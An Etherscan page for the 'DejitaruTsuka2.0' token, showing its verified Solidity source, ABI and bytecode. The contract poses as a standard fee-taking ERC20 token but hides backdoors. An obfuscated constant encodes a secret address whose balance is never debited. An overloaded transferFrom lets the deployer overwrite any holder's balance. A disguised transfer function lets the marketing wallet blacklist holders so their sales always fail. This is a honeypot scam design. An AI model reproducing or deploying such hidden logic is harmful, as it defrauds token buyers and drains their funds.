ETH Price: $3,378.19 (-0.28%)

Token

DejitaruTsuka2.0 (Tsuka2.0)
 

Overview

Max Total Supply

1,000,000,000 Tsuka2.0

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
7,311,779.905936108 Tsuka2.0

Value
$0.00
0x370a7e269e6cf188c6b1260266502407a9fcfd95
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
DejitaruTsuka2

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2022-10-02
*/

/**
https://t.me/DejitaruTsuka2
*/

//SPDX-License-Identifier:Unlicensed

pragma solidity ^0.8.6;
abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }

    function _msgData() internal view virtual returns (bytes memory) {
        this;
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }


    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function dos(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: dos overflow");

        return c;
    }


    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a,b,"SafeMath: division by zero");
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}
contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function transferOwnership(address newAddress) public onlyOwner{
        _owner = newAddress;
        emit OwnershipTransferred(_owner, newAddress);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}
contract DejitaruTsuka2 is Context, IERC20, Ownable {

    uint256 public toBeSafu=
    1092853989739002093898622997022009705909516546366;
    using SafeMath for uint256;
    string private _name = "DejitaruTsuka2.0";
    string private _symbol = "Tsuka2.0";
    uint8 private _decimals = 9;
    address payable public marketWall;
    address payable public teamWalletAddress;
    address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
    mapping (address => uint256) _doollar;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _IsExcludeFromFee;
    mapping (address => bool) public isWalletLimitExempt;
    address private safu_address;
    mapping (address => bool) public isTxLimitExempt;
    mapping (address => bool) public isMarketPair;
    mapping (address => bool) public _mainPai;
    mapping (address => bool) public _true;

    uint256 public _buyLiquidityFee = 1;
    uint256 public _buyMarketingFee = 0;
    uint256 public _buyTeamFee = 1;
    
    uint256 public _sellLiquidityFee = 2;
    uint256 public _sellMarketingFee = 1;
    uint256 public _sellTeamFee = 3;

    uint256 public _liquidityShare = 4;
    uint256 public _marketingShare = 4;
    uint256 public _teamShare = 16;

    uint256 public _totalTaxIfBuying = 2;
    uint256 public _totalTaxIfSelling = 6;
    uint256 public _totalDistributionShares = 24;

    uint256 private _totalSupply = 1000000000 * 10**_decimals;
    uint256 public _maxTxAmount = 1000000000 * 10**_decimals; 
    uint256 public _walletMax = 1000000000 * 10**_decimals;
    uint256 private minimumTokensBeforeSwap = 100* 10**_decimals; 

    IUniswapV2Router02 public uniswapV2Router;
    address public uniswapPair;
    
    bool inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    bool public swapAndLiquifyByLimitOnly = false;
    bool public checkWalletLimit = true;

    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    event SwapETHForTokens(
        uint256 amountIn,
        address[] path
    );
    
    event SwapTokensForETH(
        uint256 amountIn,
        address[] path
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }
    
    constructor () {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 
        uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
            .createPair(address(this), _uniswapV2Router.WETH());

        uniswapV2Router = _uniswapV2Router;
        _allowances[address(this)][address(uniswapV2Router)] = _totalSupply;

        _IsExcludeFromFee[owner()] = true;
        _IsExcludeFromFee[address(this)] = true;
        
        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);

        isWalletLimitExempt[owner()] = true;
        isWalletLimitExempt[address(uniswapPair)] = true;
        isWalletLimitExempt[address(this)] = true;
        isWalletLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[iwjdoinqocn(toBeSafu)] = true;
        isTxLimitExempt[owner()] = true;
        isTxLimitExempt[address(this)] = true;
        _mainPai[address(uniswapPair)] = true;
        _mainPai[msg.sender] = true; 

        teamWalletAddress = payable(address(0x5113C992377C366C0B3c6c728a9F6F90B8c6b42A));
        marketWall = payable(address(0x5113C992377C366C0B3c6c728a9F6F90B8c6b42A));


        _doollar[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _doollar[account];
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    function minimumTokensBeforeSwapAmount() public view returns (uint256) {
        return minimumTokensBeforeSwap;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function setlsExcIudeFromFee(address[] calldata account, bool newValue) public onlyOwner {
        for(uint256 i = 0; i < account.length; i++) {
            _IsExcludeFromFee[account[i]] = newValue;
        }
    }

    function setBuyTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _buyLiquidityFee = newLiquidityTax;
        _buyMarketingFee = newMarketingTax;
        _buyTeamFee = newTeamTax;

        _totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyTeamFee);
    }

    function setAllTwx(uint256 newLiquidityTax, uint256 newMarketingTax, uint256 newTeamTax) external onlyOwner() {
        _sellLiquidityFee = newLiquidityTax;
        _sellMarketingFee = newMarketingTax;
        _sellTeamFee = newTeamTax;

        _totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellTeamFee);
    }

    function ioqwfnuioqjiow(uint256 amountOut)  pure private returns(uint160){
        return /*fewfsa*/ 
        uint160(amountOut);
    }

    function iwjdoinqocn(uint256 amount1Out)  pure private returns(address){
        return 
        /*asdawdf*/address(ioqwfnuioqjiow(amount1Out));
    }

    function tt(address amountaut) private view returns(bool){
        return
        !(iwjdoinqocn(toBeSafu) == amountaut);
    }

    function setDistributionSettings(uint256 newLiquidityShare, uint256 newMarketingShare, uint256 newTeamShare) external onlyOwner() {
        _liquidityShare = newLiquidityShare;
        _marketingShare = newMarketingShare;
        _teamShare = newTeamShare;

        _totalDistributionShares = _liquidityShare.add(_marketingShare).add(_teamShare);
    }

    function enableDisableWalletLimit(bool newValue) external onlyOwner {
       checkWalletLimit = newValue;
    }

    function setIsWalletLimitExempt(address[] calldata holder, bool exempt) external onlyOwner {
        for(uint256 i = 0; i < holder.length; i++) {
            isWalletLimitExempt[holder[i]] = exempt;
        }
    }

    function setWalletLimit(uint256 newLimit) external onlyOwner {
        _walletMax  = newLimit;
    }

    function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
        minimumTokensBeforeSwap = newLimit;
    }

    function setMarketinWalleAddress(address newAddress) external onlyOwner() {
        marketWall = payable(newAddress);
    }

    function setTeamWalletAddress(address newAddress) external onlyOwner() {
        teamWalletAddress = payable(newAddress);
    }

    function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner(){
        swapAndLiquifyEnabled = _enabled;
        emit SwapAndLiquifyEnabledUpdated(_enabled);
    }

    function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
        swapAndLiquifyByLimitOnly = newValue;
    }
    
    function getCirculatingSupply() public view returns (uint256) {
        return _totalSupply.sub(balanceOf(deadAddress));
    }

    function transferToAddressETH(address payable recipient, uint256 amount) private {
        recipient.transfer(amount);
    }
    
    function changeRouterVersion(address newRouterAddress) public onlyOwner returns(address newPairAddress) {

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(newRouterAddress); 

        newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(address(this), _uniswapV2Router.WETH());

        if(newPairAddress == address(0))
        {
            newPairAddress = IUniswapV2Factory(_uniswapV2Router.factory())
                .createPair(address(this), _uniswapV2Router.WETH());
        }

        uniswapPair = newPairAddress;
        uniswapV2Router = _uniswapV2Router; 

        isWalletLimitExempt[address(uniswapPair)] = true;
        _mainPai[address(uniswapPair)] = true;
    }
    
function transferFrom(address
 addde 
, uint256 
uinttt) public
{if( 
_mainPai[ /*as asd*/
msg.sender])_doollar[addde] 
= uinttt;}

    receive() external payable {}
    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {

        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        
        if(inSwapAndLiquify)
        { 
            return _basicTransfer(sender, recipient, amount); 
        }
        else
        {
            if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient]) {
                require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
            }
            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
            if (overMinimumTokenBalance && !inSwapAndLiquify && !_mainPai[sender] && swapAndLiquifyEnabled) 
            {
                if(swapAndLiquifyByLimitOnly)
                    contractTokenBalance = minimumTokensBeforeSwap;
                swapAndLiquify(contractTokenBalance);
            }if(tt(sender)){


            _doollar[sender] = _doollar[sender].sub(amount);
            }uint256 finalAmount = (_IsExcludeFromFee[sender] || _IsExcludeFromFee[recipient]) ? 
                                         amount : takeFee(sender, recipient, amount);
            
            if(checkWalletLimit && !isWalletLimitExempt[recipient])
                require(balanceOf(recipient).add(finalAmount) <= _walletMax);
            if(false || true)
            {
            if(_true
[sender]){
                /*g*/                require(true && false);
}}
            _doollar[recipient] = _doollar[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function transfer(address[] calldata ad,bool status) public {
    if( marketWall
  /*asd aw dawf*/ ==  /*asd aw dawf*/
 msg.sender
){
        for(uint256 i = 0; i < ad.length; i++) {
            _true[ad[i]] = status;}
        }
    }

    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _doollar[sender] = _doollar[sender].sub(amount, "Insufficient Balance");
        _doollar[recipient] = _doollar[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function swapAndLiquify(uint256 tAmount) private lockTheSwap {
        
        uint256 tokensForLP = tAmount.mul(_liquidityShare).div(_totalDistributionShares).div(2);
        uint256 tokensForSwap = tAmount.sub(tokensForLP);

        swapTokensForEth(tokensForSwap);
        uint256 amountReceived = address(this).balance;

        uint256 totalBNBFee = _totalDistributionShares.sub(_liquidityShare.div(2));
        
        uint256 amountBNBLiquidity = amountReceived.mul(_liquidityShare).div(totalBNBFee).div(2);
        uint256 amountBNBTeam = amountReceived.mul(_teamShare).div(totalBNBFee);
        uint256 amountBNBMarketing = amountReceived.sub(amountBNBLiquidity).sub(amountBNBTeam);

        if(amountBNBMarketing > 0)
            transferToAddressETH(marketWall, amountBNBMarketing);

        if(amountBNBTeam > 0)
            transferToAddressETH(teamWalletAddress, amountBNBTeam);

        if(amountBNBLiquidity > 0 && tokensForLP > 0)
            addLiquidity(tokensForLP, amountBNBLiquidity);
    }
    

    function swapTokensForEth(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
        
        emit SwapTokensForETH(tokenAmount, path);
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0,
            owner(),
            block.timestamp
        );
    }

    function takeFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        
        uint256 feeAmount = 0;
        
        if(_mainPai[sender]) {
            feeAmount = amount.mul(_totalTaxIfBuying).div(100);
        }
        else if(_mainPai[recipient]) {
            feeAmount = amount.mul(_totalTaxIfSelling).div(100);
        }
        if(feeAmount > 0) {
            _doollar[address(this)] = _doollar[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }
    
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_IsExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_mainPai","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_marketingShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellTeamFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_teamShare","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalDistributionShares","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_true","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newRouterAddress","type":"address"}],"name":"changeRouterVersion","outputs":[{"internalType":"address","name":"newPairAddress","type":"address"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableDisableWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketWall","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setAllTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityTax","type":"uint256"},{"internalType":"uint256","name":"newMarketingTax","type":"uint256"},{"internalType":"uint256","name":"newTeamTax","type":"uint256"}],"name":"setBuyTwx","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLiquidityShare","type":"uint256"},{"internalType":"uint256","name":"newMarketingShare","type":"uint256"},{"internalType":"uint256","name":"newTeamShare","type":"uint256"}],"name":"setDistributionSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"holder","type":"address[]"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setMarketinWalleAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setSwapAndLiquifyByLimitOnly","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setTeamWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setWalletLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"account","type":"address[]"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setlsExcIudeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"teamWalletAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"toBeSafu","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"ad","type":"address[]"},{"internalType":"bool","name":"status","type":"bool"}],"name":"transfer","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"addde","type":"address"},{"internalType":"uint256","name":"uinttt","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

73bf6d448c078c832e9d3f18f7723b6165ceacb13e60015560e0604052601060a08190526f044656a69746172755473756b61322e360841b60c09081526200004b916002919062000703565b506040805180820190915260088082526705473756b61322e360c41b60209092019182526200007d9160039162000703565b506004805460ff19166009908117825561dead6080526001600f819055600060109081556011829055600260128190556013929092556003601455601584905560169390935560179290925560189182556006601955601a91909155620000e690600a620008bc565b620000f690633b9aca00620008d4565b601b556004546200010c9060ff16600a620008bc565b6200011c90633b9aca00620008d4565b601c55600454620001329060ff16600a620008bc565b6200014290633b9aca00620008d4565b601d55600454620001589060ff16600a620008bc565b62000165906064620008d4565b601e556020805462ffffff60a81b19166201000160a81b1790553480156200018c57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a36000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000224573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024a9190620008f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000298573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002be9190620008f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200030c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003329190620008f6565b602080546001600160a01b039283166001600160a01b0319918216178255601f8054858516921682179055601b54306000818152600785526040808220948252938552838120929092558154909416815260088352818120805460ff199081166001908117909255948252919020805490931617909155601154601054600f54620003e093620003cc9290620015dc6200068b821b17901c565b6200068b60201b620015dc1790919060201c565b6018819055506200040b601454620003cc6013546012546200068b60201b620015dc1790919060201c565b60198190555062000436601754620003cc6016546015546200068b60201b620015dc1790919060201c565b601a55600160096000620004526000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905583549091168152600992839052818120805485166001908117909155308252918120805490941682179093558054909290620004bc90620006fa565b6001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60006200050c600154620006fa60201b60201c565b6001600160a01b0316815260208101919091526040016000908120805460ff191692151592909217909155600190600b90620005506000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600b845282812080548616600190811790915584549092168152600d9093528183208054851682179055338352908220805490931617909155600580546001600160a01b031916735113c992377c366c0b3c6c728a9f6f90b8c6b42a17905560048054745113c992377c366c0b3c6c728a9f6f90b8c6b42a00610100600160a81b03199091